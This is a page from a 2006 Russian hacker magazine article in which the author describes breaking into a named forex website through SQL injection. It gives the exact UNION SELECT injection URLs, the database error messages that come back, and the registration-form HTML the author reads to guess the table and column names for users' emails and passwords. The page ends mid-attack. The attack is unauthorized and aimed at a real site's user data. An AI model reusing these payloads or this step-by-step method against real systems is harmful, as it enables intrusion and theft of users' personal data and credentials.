Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #93, СЕНТЯБРЬ 2006 г.

Красиво жить не запретишь

Стройков Леонид aka Roid

Хакер, номер #093, стр. 093-086-2


https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+*+from+mysql.user/*

На что MySQL ругнулся, выдав следующий ответ:

SELECT command denied to user 'eforexgold'@'localhost' for table 'user'

Увы, но доступа к таблице пользователей MySQL я не имел, а следовательно, получить хэш рутового пароля не представлялось возможным. Но, несмотря на этот прискорбный факт, инъекция действительно работала, а это - главное. К сожалению, я не владел информацией о названиях таблиц в базе, поэтому после недолгих раздумий я решил положиться на удачу, попробовав вручную подобрать имена таблиц. Остановив свой выбор на названии «users», я вбил в адресную строку:

https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+1,login+from+users/*

В результате чего меня послали идти лесом:

Table 'eforexgold.users' doesn't exist

Тогда я изменил «users» на «user», исправив запрос соответствующим образом:

https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+1,login+from+user/*

На этот раз мне повезло. Мускул вернул ответ:

Unknown column 'login' in 'field list'

Что свидетельствовало об отсутствии поля «login» в таблице «user». Далее необходимо было подобрать названия полей. Брутфорс запускать не имело смысла, и я решил проверить имена полей форм при регистрации. У меня оставалась надежда, что они могут совпасть с названиями полей в базе. Ведь все данные, полученные из полей форм, обрабатываются php-сценарием, который, вероятно, осуществляет обращение к базе MySQL, внося в значения полей нужные изменения. Выбрав раздел регистрации (www.e-forexgold.com/transxpress/users/new), я открыл html-код страницы:

<p><label for="user_firstname">First name</label><br/>

<input id="user_firstname" name="user[firstname]" size="30" type="text" /></p>

<p><label for="user_lastname">Last name</label><br/>

<input id="user_lastname" name="user[lastname]" size="30" type="text" /></p>

<p><label for="user_email">Email</label><br/>

<input id="user_email" name="user[email]" size="30" type="text" /></p>

<p><label for="user_phone">Phone</label><br/>

<input id="user_phone" name="user[phone]" size="30" type="text" /><br/>

Must be home phone. Mobile/Cell or fax<br/> numbers not accepted.</p>

<p><label for="user_password">Password</label><br/>

<input id="user_password" name="user[password]" size="30" type="password" /></p>

Меня интересовало значение параметра name, которое передавалось скрипту с данными, введенными юзером при регистрации. Для примера я попробовал выбрать мыльники пользователей из базы, указав в названии поля «email». Получился запрос такого вида:

Назад на стр. 093-086-1  Содержание  Вперед на стр. 093-086-3